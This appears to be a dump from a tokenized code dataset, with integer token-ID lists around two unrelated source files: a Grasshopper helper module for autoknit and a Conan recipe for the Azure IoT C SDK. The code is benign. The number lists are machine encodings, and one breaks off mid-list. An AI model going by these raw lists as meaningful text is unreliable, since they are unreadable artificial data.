1678,
822,
4770,
2344,
12035,
1311,
29892,
285,
29881,
29918,
2084,
29892,
2278,
29918,
1990,
29918,
978,
1125,
13,
4706,
396,
1423,
2224,
2854,
13,
4706,
4974,
934,
12177,
29889,
275,
12924,
24217,
29898,
11512,
29918,
2084,
29897,
13,
4706,
1583,
29889,
4632,
29918,
11512,
353,
285,
29881,
29918,
2084,
13,
13,
4706,
396,
1423,
2211,
5181,
2066,
1863,
13,
4706,
1583,
29889,
1272,
29918,
12657,
353,
3630,
10036,
29898,
1311,
29889,
4632,
29918,
11512,
29897,
13,
4706,
396,
2307,
7120,
934,
10379,
13,
4706,
396,
9294,
1583,
29889,
1272,
29918,
12657,
29889,
5349,
29940,
687,
404,
653,
5323,
262,
10547,
580,
13,
308,
13,
4706,
396,
1653,
16495,
13,
4706,
1583,
29889,
4299,
29918,
11512,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
4632,
29918,
11512,
29892,
1904,
29918,
11512,
29918,
6500,
3871,
29897,
13,
4706,
934,
12177,
29889,
5675,
2816,
18759,
12924,
29898,
4632,
29918,
11512,
29897,
13,
13,
4706,
396,
4386,
12183,
308,
13,
4706,
1583,
29889,
14968,
29918,
1188,
29918,
9144,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
4632,
29918,
11512,
29892,
7945,
29918,
1188,
29918,
6500,
3871,
29897,
308,
13,
4706,
396,
1653,
17927,
411,
525,
1028,
314,
29918,
6214,
29915,
13,
4706,
1583,
29889,
21707,
353,
12183,
29889,
657,
16363,
29898,
5145,
29918,
1990,
29918,
978,
29897,
13,
4706,
1583,
29889,
21707,
29889,
842,
10108,
29898,
21027,
29889,
18525,
29897,
13,
4706,
396,
1653,
934,
7834,
607,
10748,
1584,
4744,
7191,
13,
4706,
285,
29882,
353,
12183,
29889,
2283,
4598,
29898,
1311,
29889,
14968,
29918,
1188,
29918,
9144,
29897,
13,
4706,
285,
29882,
29889,
842,
10108,
29898,
21027,
29889,
18525,
29897,
13,
4706,
396,
1653,
2991,
7834,
411,
263,
6133,
1480,
3233,
13,
4706,
521,
353,
12183,
29889,
3835,
4598,
580,
13,
4706,
521,
29889,
842,
10108,
29898,
21027,
29889,
18525,
29897,
13,
4706,
396,
1653,
883,
2620,
322,
788,
372,
304,
278,
25795,
13,
4706,
883,
2620,
353,
12183,
29889,
18522,
877,
29995,
29898,
294,
312,
603,
29897,
29879,
448,
1273,
29898,
978,
29897,
29879,
448,
1273,
29898,
5563,
978,
29897,
29879,
448,
1273,
29898,
4906,
29897,
29879,
1495,
13,
4706,
285,
29882,
29889,
842,
18522,
29898,
689,
2620,
29897,
13,
4706,
521,
29889,
842,
18522,
29898,
689,
2620,
29897,
13,
4706,
396,
788,
278,
25795,
304,
278,
17927,
13,
4706,
1583,
29889,
21707,
29889,
1202,
4598,
29898,
29888,
29882,
29897,
13,
4706,
1583,
29889,
21707,
29889,
1202,
4598,
29898,
305,
29897,
13,
308,
13,
4706,
736,
13,
268,
13,
1678,
396,
12206,
526,
777,
9846,
3168,
4312,
304,
367,
8762,
29901,
13,
1678,
822,
6088,
2177,
1280,
29898,
1311,
1125,
13,
4706,
12020,
2216,
1888,
2037,
287,
2392,
13,
13,
1678,
822,
4078,
3195,
29898,
1311,
1125,
13,
4706,
12020,
2216,
1888,
2037,
287,
2392,
13,
268,
13,
1678,
822,
2254,
3195,
29898,
1311,
1125,
13,
4706,
12020,
2216,
1888,
2037,
287,
2392,
13,
13,
1678,
822,
6375,
29898,
1311,
1125,
13,
4706,
12020,
2216,
1888,
2037,
287,
2392,
13,
13,
1678,
822,
7945,
29898,
1311,
1125,
13,
4706,
12020,
2216,
1888,
2037,
287,
2392,
13,
13,
1678,
822,
14707,
29898,
1311,
1125,
13,
4706,
12020,
2216,
1888,
2037,
287,
2392,
13,
13,
1678,
822,
3638,
29898,
1311,
1125,
13,
4706,
12020,
2216,
1888,
2037,
287,
2392,
13,
13,
1678,
396,
1207,
28306,
304,
17927,
2012,
310,
304,
4315,
13,
1678,
822,
4974,
1762,
16363,
29898,
1311,
29892,
28306,
29892,
4589,
29918,
710,
1125,
13,
4706,
1018,
29901,
13,
9651,
4974,
28306,
13,
4706,
5174,
16499,
291,
2392,
408,
4589,
29901,
13,
9651,
1583,
29889,
21707,
29889,
11739,
29898,
3127,
29918,
710,
29897,
13,
9651,
12020,
4589,
13,
4706,
736,
13,
13,
1678,
822,
9752,
3195,
29898,
1311,
1125,
13,
4706,
736,
2
] |
modules/ghautoknit/Engine.py | fstwn/ghautokn | 2 | 63569 | <reponame>fstwn/ghautokn<gh_stars>1-10
# PYTHON STANDARD LIBRARY IMPORTS ---------------------------------------------
from __future__ import absolute_import
from __future__ import division
import datetime
from os import path
# RHINO IMPORTS ---------------------------------------------------------------
from scriptcontext import sticky as st
# LOCAL MODULE IMPORTS --------------------------------------------------------
from ghautoknit.Environment import _AK_PATH_, _AK_INTERFACE_
from ghautoknit.FileIO import SaveObj, SaveConstraints
# ALL LIST --------------------------------------------------------------------
__all__ = [
"InitializeComponentInterface",
"TempFilePaths",
"CompileCommand",
"WriteTempFiles"
]
def InitializeComponentInterface(component):
"""
Initializes the necessary things in the Rhino sticky.
"""
ig = str(component.InstanceGuid)
running_key = ig + "___AKRUNNING"
reset_key = ig + "___RESET"
if running_key not in st:
st[running_key] = False
if reset_key not in st:
st[reset_key] = False
return (running_key, reset_key)
def TempFilePaths(filedir):
"""
Creates filepaths for temporary autoknit files.
"""
# create timestamp
n = datetime.datetime.now()
yy = str(n.year)[-2:]
mm = str(n.month).zfill(2)
dd = str(n.day).zfill(2)
ho = str(n.hour).zfill(2)
mt = str(n.minute).zfill(2)
sc = str(n.second).zfill(2)
ts = yy + mm + dd + "-" + ho + mt + sc
# define filepaths
temp_modelfile = filedir + "\\._ak_temp_" + ts + ".obj"
temp_consfile = filedir + "\\._ak_temp_" + ts + ".cons"
return (temp_modelfile, temp_consfile)
def CompileCommand(obj,
constraints,
obj_scale=None,
stitch_width=None,
stitch_height=None,
save_traced=None,
peel_step=None):
"""
Compiles a command with arguments for running autoknit.
"""
if not obj or not constraints:
raise ValueError("Expected *.obj and *.cons file," +
"received {} and {}." +
"Check your inputs!".format(obj, constraints))
# make basic command arguments
cmdargs = ["obj:" + obj, "constraints:" + constraints]
# handle obj-scale parameter ----------------------------------------------
if obj_scale:
try:
obj_scale = float(obj_scale)
cmdargs.append("obj-scale:{}".format(str(obj_scale)))
except Exception as e:
raise ValueError("Could not convert supplied " +
"obj-scale to float! Ignoring this option..." +
" // " + str(e))
# handle stitch-width parameter -------------------------------------------
if stitch_width:
try:
stitch_width = float(stitch_width)
cmdargs.append("stitch-width:{}".format(str(stitch_width)))
except Exception as e:
raise ValueError("Could not convert supplied stitch-width " +
"to float! Ignoring this option..." +
" // " + str(e))
# handle stitch-height parameter ------------------------------------------
if stitch_height:
try:
stitch_height = float(stitch_height)
cmdargs.append("stitch-height:{}".format(str(stitch_height)))
except Exception as e:
raise ValueError("Could not convert supplied stitch-height " +
"to float! Ignoring this option..." +
" // " + str(e))
# handle save-traced parameter --------------------------------------------
if save_traced:
try:
save_traced = path.normpath(save_traced.rstrip("\n\r"))
if not save_traced.endswith(".st"):
save_traced = save_traced + ".st"
cmdargs.append("save-traced:{}".format(save_traced))
except Exception as e:
raise ValueError("Could not convert supplied save_traced " +
"path to string! Ignoring this option..." +
" // " + str(e))
# handle peel-step parameter ----------------------------------------------
if peel_step:
try:
peel_step = int(peel_step)
if peel_step < -1:
peel_step = -1
cmdargs.append("peel-step:{}".format(str(peel_step)))
except Exception as e:
raise ValueError("Could not convert supplied peel-step " +
"to int! Ignoring this option..." +
" // " + str(e))
# check if path to interface.exe is set correctly
if not path.exists(_AK_PATH_) or not path.isfile(_AK_INTERFACE_ + ".exe"):
return None
# create the command and return it
Command = [_AK_INTERFACE_]
Command.extend(cmdargs)
return Command
def WriteTempFiles(model, obj_file, cons_file):
"""
Writes temporary files for starting autoknit.
"""
SaveObj(obj_file, model.Mesh)
SaveConstraints(cons_file, model.ConstraintCoordinates, model.Constraints)
# MAIN ------------------------------------------------------------------------
if __name__ == '__main__':
pass
| [
1,
529,
276,
1112,
420,
29958,
29888,
303,
1233,
29914,
12443,
1300,
554,
29876,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
29937,
349,
29979,
4690,
1164,
6850,
9468,
17011,
365,
8979,
29934,
19926,
306,
3580,
8476,
29903,
448,
2683,
2683,
9072,
13,
3166,
4770,
29888,
9130,
1649,
1053,
8380,
29918,
5215,
13,
3166,
4770,
29888,
9130,
1649,
1053,
8542,
13,
5215,
12865,
13,
3166,
2897,
1053,
2224,
13,
13,
29937,
390,
29950,
1177,
29949,
306,
3580,
8476,
29903,
448,
2683,
2683,
2683,
9072,
489,
13,
3166,
2471,
4703,
1053,
12070,
29891,
408,
380,
13,
13,
29937,
11247,
29907,
1964,
341,
13668,
29965,
1307,
306,
3580,
8476,
29903,
448,
2683,
2683,
2683,
26589,
13,
3166,
24170,
1300,
554,
26129,
29889,
18649,
1053,
903,
22311,
29918,
10145,
3383,
903,
22311,
29918,
23845,
29943,
11538,
29918,
13,
3166,
24170,
1300,
554,
26129,
29889,
2283,
5971,
1053,
16913,
9930,
29892,
16913,
27427,
13,
13,
29937,
15149,
365,
9047,
448,
2683,
2683,
2683,
2683,
5634,
13,
1649,
497,
1649,
353,
518,
13,
1678,
376,
6644,
6646,
5308,
10448,
613,
13,
1678,
376,
15637,
2283,
2605,
29879,
613,
13,
1678,
376,
6843,
488,
6255,
613,
13,
1678,
376,
6113,
15637,
10547,
29908,
13,
29962,
13,
13,
13,
1753,
25455,
5308,
10448,
29898,
9700,
1125,
13,
1678,
9995,
13,
1678,
17250,
7093,
278,
5181,
2712,
297,
278,
7861,
1789,
12070,
29891,
29889,
13,
1678,
9995,
13,
13,
1678,
8919,
353,
851,
29898,
9700,
29889,
4998,
29954,
5416,
29897,
13,
1678,
2734,
29918,
1989,
353,
8919,
718,
376,
22359,
22311,
29934,
3904,
29940,
4214,
29908,
13,
1678,
10092,
29918,
1989,
353,
8919,
718,
376,
22359,
1525,
10490,
29908,
13,
13,
1678,
565,
2734,
29918,
1989,
451,
297,
380,
29901,
13,
4706,
380,
29961,
21094,
29918,
1989,
29962,
353,
7700,
13,
1678,
565,
10092,
29918,
1989,
451,
297,
380,
29901,
13,
4706,
380,
29961,
12071,
29918,
1989,
29962,
353,
7700,
13,
13,
1678,
736,
313,
21094,
29918,
1989,
29892,
10092,
29918,
1989,
29897,
13,
13,
13,
1753,
21121,
2283,
2605,
29879,
29898,
1445,
3972,
1125,
13,
1678,
9995,
13,
1678,
6760,
1078,
934,
24772,
363,
13201,
1120,
554,
26129,
2066,
29889,
13,
1678,
9995,
13,
13,
1678,
396,
1653,
14334,
13,
1678,
302,
353,
12865,
29889,
12673,
29889,
3707,
580,
13,
1678,
343,
29891,
353,
851,
29898,
29876,
29889,
6360,
9601,
29899,
29906,
17531,
13,
1678,
5654,
353,
851,
29898,
29876,
29889,
10874,
467,
29920,
5589,
29898,
29906,
29897,
13,
1678,
24488,
353,
851,
29898,
29876,
29889,
3250,
467,
29920,
5589,
29898,
29906,
29897,
13,
1678,
5089,
353,
851,
29898,
29876,
29889,
18721,
467,
29920,
5589,
29898,
29906,
29897,
13,
1678,
286,
29873,
353,
851,
29898,
29876,
29889,
1195,
1082,
467,
29920,
5589,
29898,
29906,
29897,
13,
1678,
885,
353,
851,
29898,
29876,
29889,
7496,
467,
29920,
5589,
29898,
29906,
29897,
13,
1678,
18696,
353,
343,
29891,
718,
5654,
718,
24488,
718,
11663,
29908,
718,
5089,
718,
286,
29873,
718,
885,
13,
13,
1678,
396,
4529,
934,
24772,
13,
1678,
5694,
29918,
1545,
761,
488,
353,
934,
3972,
718,
376,
1966,
3032,
557,
29918,
7382,
27508,
718,
18696,
718,
11393,
5415,
29908,
13,
1678,
5694,
29918,
3200,
1445,
353,
934,
3972,
718,
376,
1966,
3032,
557,
29918,
7382,
27508,
718,
18696,
718,
11393,
3200,
29908,
13,
13,
1678,
736,
313,
7382,
29918,
1545,
761,
488,
29892,
5694,
29918,
3200,
1445,
29897,
13,
13,
13,
1753,
3831,
488,
6255,
29898,
5415,
29892,
13,
462,
259,
11938,
29892,
13,
462,
259,
5446,
29918,
7052,
29922,
8516,
29892,
13,
462,
259,
380,
2335,
29918,
2103,
29922,
8516,
29892,
13,
462,
259,
380,
2335,
29918,
3545,
29922,
8516,
29892,
13,
462,
259,
4078,
29918,
29873,
945,
287,
29922,
8516,
29892,
13,
462,
259,
1236,
295,
29918,
10568,
29922,
8516,
1125,
13,
1678,
9995,
13,
1678,
3831,
5475,
263,
1899,
411,
6273,
363,
2734,
1120,
554,
26129,
29889,
13,
1678,
9995,
13,
13,
1678,
565,
451,
5446,
470,
451,
11938,
29901,
13,
4706,
12020,
7865,
2392,
703,
1252,
6021,
20611,
5415,
322,
20611,
3200,
934,
1699,
718,
13,
462,
308,
376,
13556,
2347,
6571,
322,
6571,
1213,
718,
13,
462,
308,
376,
5596,
596,
10970,
29991,
1642,
4830,
29898,
5415,
29892,
11938,
876,
13,
1678,
396,
1207,
6996,
1899,
6273,
13,
1678,
9920,
5085,
353,
6796,
5415,
6160,
718,
5446,
29892,
376,
13646,
29879,
6160,
718,
11938,
29962,
13,
13,
1678,
396,
4386,
5446,
29899,
7052,
3443,
448,
2683,
2683,
9072,
29899,
13,
1678,
565,
5446,
29918,
7052,
29901,
13,
4706,
1018,
29901,
13,
9651,
5446,
29918,
7052,
353,
5785,
29898,
5415,
29918,
7052,
29897,
13,
9651,
9920,
5085,
29889,
4397,
703,
5415,
29899,
7052,
29901,
8875,
1642,
4830,
29898,
710,
29898,
5415,
29918,
7052,
4961,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
12020,
7865,
2392,
703,
23323,
451,
3588,
19056,
376,
718,
13,
462,
632,
376,
5415,
29899,
7052,
304,
5785,
29991,
18076,
8253,
445,
2984,
17794,
718,
13,
462,
632,
376,
849,
376,
718,
851,
29898,
29872,
876,
13,
1678,
396,
4386,
380,
2335,
29899,
2103,
3443,
448,
2683,
2683,
28400,
13,
1678,
565,
380,
2335,
29918,
2103,
29901,
13,
4706,
1018,
29901,
13,
9651,
380,
2335,
29918,
2103,
353,
5785,
29898,
303,
2335,
29918,
2103,
29897,
13,
9651,
9920,
5085,
29889,
4397,
703,
303,
2335,
29899,
2103,
29901,
8875,
1642,
4830,
29898,
710,
29898,
303,
2335,
29918,
2103,
4961,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
12020,
7865,
2392,
703,
23323,
451,
3588,
19056,
380,
2335,
29899,
2103,
376,
718,
13,
462,
632,
376,
517,
5785,
29991,
18076,
8253,
445,
2984,
17794,
718,
13,
462,
632,
376,
849,
376,
718,
851,
29898,
29872,
876,
13,
1678,
396,
4386,
380,
2335,
29899,
3545,
3443,
448,
2683,
2683,
1378,
29899,
13,
1678,
565,
380,
2335,
29918,
3545,
29901,
13,
4706,
1018,
29901,
13,
9651,
380,
2335,
29918,
3545,
353,
5785,
29898,
303,
2335,
29918,
3545,
29897,
13,
9651,
9920,
5085,
29889,
4397,
703,
303,
2335,
29899,
3545,
29901,
8875,
1642,
4830,
29898,
710,
29898,
303,
2335,
29918,
3545,
4961,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
12020,
7865,
2392,
703,
23323,
451,
3588,
19056,
380,
2335,
29899,
3545,
376,
718,
13,
462,
632,
376,
517,
5785,
29991,
18076,
8253,
445,
2984,
17794,
718,
13,
462,
632,
376,
849,
376,
718,
851,
29898,
29872,
876,
13,
1678,
396,
4386,
4078,
29899,
29873,
945,
287,
3443,
448,
2683,
2683,
1378,
5634,
13,
1678,
565,
4078,
29918,
29873,
945,
287,
29901,
13,
4706,
1018,
29901,
13,
9651,
4078,
29918,
29873,
945,
287,
353,
2224,
29889,
12324,
2084,
29898,
7620,
29918,
29873,
945,
287,
29889,
29878,
17010,
14182,
29876,
29905,
29878,
5783,
13,
9651,
565,
451,
4078,
29918,
29873,
945,
287,
29889,
1975,
2541,
17350,
303,
29908,
1125,
13,
18884,
4078,
29918,
29873,
945,
287,
353,
4078,
29918,
29873,
945,
287,
718,
11393,
303,
29908,
13,
9651,
9920,
5085,
29889,
4397,
703,
7620,
29899,
29873,
945,
287,
29901,
8875,
1642,
4830,
29898,
7620,
29918,
29873,
945,
287,
876,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
12020,
7865,
2392,
703,
23323,
451,
3588,
19056,
4078,
29918,
29873,
945,
287,
376,
718,
13,
462,
632,
376,
2084,
304,
1347,
29991,
18076,
8253,
445,
2984,
17794,
718,
13,
462,
632,
376,
849,
376,
718,
851,
29898,
29872,
876,
13,
1678,
396,
4386,
1236,
295,
29899,
10568,
3443,
448,
2683,
2683,
9072,
29899,
13,
1678,
565,
1236,
295,
29918,
10568,
29901,
13,
4706,
1018,
29901,
13,
9651,
1236,
295,
29918,
10568,
353,
938,
29898,
412,
295,
29918,
10568,
29897,
13,
9651,
565,
1236,
295,
29918,
10568,
529,
448,
29896,
29901,
13,
18884,
1236,
295,
29918,
10568,
353,
448,
29896,
13,
9651,
9920,
5085,
29889,
4397,
703,
412,
295,
29899,
10568,
29901,
8875,
1642,
4830,
29898,
710,
29898,
412,
295,
29918,
10568,
4961,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
12020,
7865,
2392,
703,
23323,
451,
3588,
19056,
1236,
295,
29899,
10568,
376,
718,
13,
462,
632,
376,
517,
938,
29991,
18076,
8253,
445,
2984,
17794,
718,
13,
462,
632,
376,
849,
376,
718,
851,
29898,
29872,
876,
13,
13,
1678,
396,
1423,
565,
2224,
304,
5067,
29889,
8097,
338,
731,
5149,
13,
1678,
565,
451,
2224,
29889,
9933,
7373,
22311,
29918,
10145,
19925,
470,
451,
2224,
29889,
275,
1445,
7373,
22311,
29918,
23845,
29943,
11538,
29918,
718,
11393,
8097,
29908,
1125,
13,
4706,
736,
6213,
13,
13,
1678,
396,
1653,
278,
1899,
322,
736,
372,
13,
1678,
10516,
353,
23160,
22311,
29918,
23845,
29943,
11538,
29918,
29962,
13,
1678,
10516,
29889,
21843,
29898,
9006,
5085,
29897,
13,
1678,
736,
10516,
13,
13,
13,
1753,
14350,
15637,
10547,
29898,
4299,
29892,
5446,
29918,
1445,
29892,
1136,
29918,
1445,
1125,
13,
1678,
9995,
13,
1678,
16849,
267,
13201,
2066,
363,
6257,
1120,
554,
26129,
29889,
13,
1678,
9995,
13,
1678,
16913,
9930,
29898,
5415,
29918,
1445,
29892,
1904,
29889,
29924,
12094,
29897,
13,
1678,
16913,
27427,
29898,
3200,
29918,
1445,
29892,
1904,
29889,
21529,
7967,
24266,
29892,
1904,
29889,
27427,
29897,
13,
13,
13,
29937,
14861,
1177,
448,
2683,
2683,
2683,
2683,
26589,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
1209,
13,
2
] |
conanfile.py | bincrafters/conan-azure-iot-sdk-c | 0 | 105800 | import os
from conans import ConanFile, CMake, tools
class AzureiotsdkcConan(ConanFile):
name = "Azure-IoT-SDK-C"
version = "1.1.27"
release_date = "2017-10-20"
generators = "cmake"
settings = "os", "compiler", "build_type", "arch"
url = "https://github.com/bincrafters/conan-azure-iot-sdk-c"
description = "A C99 SDK for connecting devices to Microsoft Azure IoT services"
license = "https://github.com/Azure/azure-iot-sdk-c/blob/master/LICENSE"
options = {"shared": [True, False]}
default_options = "shared=False"
exports = ["LICENSE.md"]
lib_short_name = "azure_iot_sdks"
root_dir = "%s-%s" % (name.lower(), release_date)
requires = "Azure-C-Shared-Utility/[>=1.0.46]@bincrafters/stable", \
"Azure-uMQTT-C/[>=1.0.46]@bincrafters/stable", \
"Azure-uAMQP-C/[>=1.0.46]@bincrafters/stable", \
"Azure-uHTTP-C/[>=1.0.46]@bincrafters/stable", \
"Parson/0.1.0@bincrafters/stable"
def source(self):
source_url = "https://github.com/Azure/azure-iot-sdk-c"
tools.get("%s/archive/%s.tar.gz" % (source_url, self.release_date))
def configure(self):
# XXX (uilian): Some linkage errors must be solved on Windows
if self.settings.os == "Windows":
self.options.shared = False
# XXX (uilian): hidden symbol `curl_easy_getinfo' when libcurl is static
if self.settings.os != "Windows":
self.options["libcurl"].shared = True
def build(self):
cmake_file = os.path.join(self.root_dir, "CMakeLists.txt")
conan_magic_lines = """project(azure_iot_sdks)
include(../conanbuildinfo.cmake)
CONAN_BASIC_SETUP()
"""
tools.replace_in_file(cmake_file, "project(azure_iot_sdks)", conan_magic_lines)
tools.replace_in_file(cmake_file, 'include("dependencies.cmake")', "")
tools.replace_in_file(cmake_file, 'set_platform_files(${CMAKE_CURRENT_LIST_DIR}/c-utility)', "")
if self.settings.os == "Windows":
cmake_file = os.path.join(self.root_dir, "iothub_client", "CMakeLists.txt")
conan_magic_lines = "target_link_libraries(iothub_client_dll ${iothub_client_libs} ${CONAN_LIBS} Winhttp)"
tools.replace_in_file(cmake_file, 'target_link_libraries(iothub_client_dll ${iothub_client_libs})', conan_magic_lines)
parson_dst = os.path.join(self.root_dir, "deps", "parson")
self.copy(pattern="parson.h", dst=parson_dst, src=self.deps_cpp_info["Parson"].include_paths[0])
self.copy(pattern="parson.c", dst=parson_dst, src=os.path.join(self.deps_cpp_info["Parson"].rootpath, "src"))
with tools.chdir(self.root_dir):
cmake = CMake(self)
cmake.definitions["build_as_dynamic"] = self.settings.os == "Windows" and self.options.shared
cmake.definitions["skip_samples"] = True
cmake.definitions["use_installed_dependencies"] = True
if self.settings.os == "Windows" and self.options.shared:
cmake.definitions["CMAKE_WINDOWS_EXPORT_ALL_SYMBOLS"] = True
cmake.configure(source_dir=os.getcwd())
cmake.build()
def package(self):
self.copy(pattern="LICENSE", dst=".", src=".")
self.copy(pattern="*", dst="include", src=os.path.join(self.root_dir, "iothub_client", "inc"))
self.copy(pattern="*", dst="include", src=os.path.join(self.root_dir, "iothub_service_client", "inc"))
self.copy(pattern="*.lib", dst="lib", src="lib", keep_path=False)
self.copy(pattern="*.a", dst="lib", src="lib", keep_path=False)
self.copy(pattern="*.so*", dst="lib", src=".", keep_path=False)
self.copy(pattern="*.dylib", dst="lib", src=".", keep_path=False)
self.copy(pattern="*.dll", dst="bin", src=".", keep_path=False)
def package_info(self):
self.cpp_info.libs = tools.collect_libs(self)
if self.settings.os == "Windows":
self.cpp_info.libs.append("Winhttp")
| [
1,
1053,
2897,
13,
3166,
378,
550,
1053,
1281,
273,
2283,
29892,
315,
9984,
29892,
8492,
13,
13,
13,
1990,
12634,
29875,
1862,
8181,
29883,
1168,
273,
29898,
1168,
273,
2283,
1125,
13,
1678,
1024,
353,
376,
28413,
29899,
29902,
29877,
29911,
29899,
26912,
29899,
29907,
29908,
13,
1678,
1873,
353,
376,
29896,
29889,
29896,
29889,
29906,
29955,
29908,
13,
1678,
6507,
29918,
1256,
353,
376,
29906,
29900,
29896,
29955,
29899,
29896,
29900,
29899,
29906,
29900,
29908,
13,
1678,
1176,
4097,
353,
376,
29883,
5675,
29908,
13,
1678,
6055,
353,
376,
359,
613,
376,
21789,
613,
376,
4282,
29918,
1853,
613,
376,
1279,
29908,
13,
1678,
3142,
353,
376,
991,
597,
3292,
29889,
510,
29914,
2109,
26844,
906,
29879,
29914,
535,
273,
29899,
17688,
29899,
24414,
29899,
15348,
29899,
29883,
29908,
13,
1678,
6139,
353,
376,
29909,
315,
29929,
29929,
12967,
363,
16791,
9224,
304,
7783,
12634,
22244,
29911,
5786,
29908,
13,
1678,
19405,
353,
376,
991,
597,
3292,
29889,
510,
29914,
28413,
29914,
17688,
29899,
24414,
29899,
15348,
29899,
29883,
29914,
10054,
29914,
6207,
29914,
27888,
1430,
1660,
29908,
13,
1678,
3987,
353,
8853,
12366,
1115,
518,
5574,
29892,
7700,
12258,
13,
1678,
2322,
29918,
6768,
353,
376,
12366,
29922,
8824,
29908,
13,
1678,
29586,
353,
6796,
27888,
1430,
1660,
29889,
3487,
3108,
13,
1678,
4303,
29918,
12759,
29918,
978,
353,
376,
17688,
29918,
24414,
29918,
4928,
2039,
29908,
13,
1678,
3876,
29918,
3972,
353,
11860,
29879,
19222,
29879,
29908,
1273,
313,
978,
29889,
13609,
3285,
6507,
29918,
1256,
29897,
13,
1678,
6858,
353,
376,
28413,
29899,
29907,
29899,
21741,
29899,
7270,
537,
29914,
29961,
18572,
29896,
29889,
29900,
29889,
29946,
29953,
29962,
29992,
2109,
26844,
906,
29879,
29914,
13844,
613,
320,
13,
4706,
376,
28413,
29899,
29884,
25566,
19988,
29899,
29907,
29914,
29961,
18572,
29896,
29889,
29900,
29889,
29946,
29953,
29962,
29992,
2109,
26844,
906,
29879,
29914,
13844,
613,
320,
13,
4706,
376,
28413,
29899,
29884,
5194,
29984,
29925,
29899,
29907,
29914,
29961,
18572,
29896,
29889,
29900,
29889,
29946,
29953,
29962,
29992,
2109,
26844,
906,
29879,
29914,
13844,
613,
320,
13,
4706,
376,
28413,
29899,
29884,
10493,
29899,
29907,
29914,
29961,
18572,
29896,
29889,
29900,
29889,
29946,
29953,
29962,
29992,
2109,
26844,
906,
29879,
29914,
13844,
613,
320,
13,
4706,
376,
2177,
1100,
29914,
29900,
29889,
29896,
29889,
29900,
29992,
2109,
26844,
906,
29879,
29914,
13844,
29908,
13,
13,
1678,
822,
2752,
29898,
1311,
1125,
13,
4706,
2752,
29918,
2271,
353,
376,
991,
597,
3292,
29889,
510,
29914,
28413,
29914,
17688,
29899,
24414,
29899,
15348,
29899,
29883,
29908,
13,
4706,
8492,
29889,
657,
11702,
29879,
29914,
10867,
22584,
29879,
29889,
12637,
29889,
18828,
29908,
1273,
313,
4993,
29918,
2271,
29892,
1583,
29889,
14096,
29918,
1256,
876,
13,
13,
1678,
822,
10822,
29898,
1311,
1125,
13,
4706,
396,
22615,
313,
29884,
20548,
1125,
3834,
1544,
482,
4436,
1818,
367,
7484,
373,
3852,
13,
4706,
565,
1583,
29889,
11027,
29889,
359,
1275,
376,
7685,
1115,
13,
9651,
1583,
29889,
6768,
29889,
12366,
353,
7700,
13,
4706,
396,
22615,
313,
29884,
20548,
1125,
7934,
5829,
421,
18963,
29918,
29872,
8995,
29918,
657,
3888,
29915,
746,
4303,
18963,
338,
2294,
13,
4706,
565,
1583,
29889,
11027,
29889,
359,
2804,
376,
7685,
1115,
13,
9651,
1583,
29889,
6768,
3366,
1982,
18963,
16862,
12366,
353,
5852,
13,
13,
1678,
822,
2048,
29898,
1311,
1125,
13,
4706,
274,
5675,
29918,
1445,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
4632,
29918,
3972,
29892,
376,
29907,
9984,
1293,
29879,
29889,
3945,
1159,
13,
4706,
378,
273,
29918,
11082,
293,
29918,
9012,
353,
9995,
4836,
29898,
17688,
29918,
24414,
29918,
4928,
2039,
29897,
13,
4706,
3160,
29898,
6995,
535,
273,
4282,
3888,
29889,
29883,
5675,
29897,
13,
4706,
8707,
2190,
29918,
29933,
3289,
2965,
29918,
10490,
4897,
580,
13,
4706,
9995,
13,
4706,
8492,
29889,
6506,
29918,
262,
29918,
1445,
29898,
29883,
5675,
29918,
1445,
29892,
376,
4836,
29898,
17688,
29918,
24414,
29918,
4928,
2039,
19123,
378,
273,
29918,
11082,
293,
29918,
9012,
29897,
13,
4706,
8492,
29889,
6506,
29918,
262,
29918,
1445,
29898,
29883,
5675,
29918,
1445,
29892,
525,
2856,
703,
22594,
29889,
29883,
5675,
1159,
742,
20569,
13,
4706,
8492,
29889,
6506,
29918,
262,
29918,
1445,
29898,
29883,
5675,
29918,
1445,
29892,
525,
842,
29918,
12120,
29918,
5325,
1566,
29912,
29907,
1529,
6059,
29918,
22484,
29450,
29918,
24360,
29918,
9464,
6822,
29883,
29899,
329,
1793,
29897,
742,
20569,
13,
4706,
565,
1583,
29889,
11027,
29889,
359,
1275,
376,
7685,
1115,
13,
9651,
274,
5675,
29918,
1445,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
4632,
29918,
3972,
29892,
376,
29875,
720,
431,
29918,
4645,
613,
376,
29907,
9984,
1293,
29879,
29889,
3945,
1159,
13,
9651,
378,
273,
29918,
11082,
293,
29918,
9012,
353,
376,
5182,
29918,
2324,
29918,
492,
8464,
29898,
29875,
720,
431,
29918,
4645,
29918,
12396,
6435,
29875,
720,
431,
29918,
4645,
29918,
10254,
29913,
6435,
6007,
2190,
29918,
5265,
9851,
29913,
8892,
1124,
5513,
13,
9651,
8492,
29889,
6506,
29918,
262,
29918,
1445,
29898,
29883,
5675,
29918,
1445,
29892,
525,
5182,
29918,
2324,
29918,
492,
8464,
29898,
29875,
720,
431,
29918,
4645,
29918,
12396,
6435,
29875,
720,
431,
29918,
4645,
29918,
10254,
1800,
742,
378,
273,
29918,
11082,
293,
29918,
9012,
29897,
13,
13,
4706,
610,
1100,
29918,
22992,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
4632,
29918,
3972,
29892,
376,
311,
567,
613,
376,
862,
1100,
1159,
13,
4706,
1583,
29889,
8552,
29898,
11037,
543,
862,
1100,
29889,
29882,
613,
29743,
29922,
862,
1100,
29918,
22992,
29892,
4765,
29922,
1311,
29889,
311,
567,
29918,
8223,
29918,
3888,
3366,
2177,
1100,
16862,
2856,
29918,
24772,
29961,
29900,
2314,
13,
4706,
1583,
29889,
8552,
29898,
11037,
543,
862,
1100,
29889,
29883,
613,
29743,
29922,
862,
1100,
29918,
22992,
29892,
4765,
29922,
359,
29889,
2084,
29889,
7122,
29898,
1311,
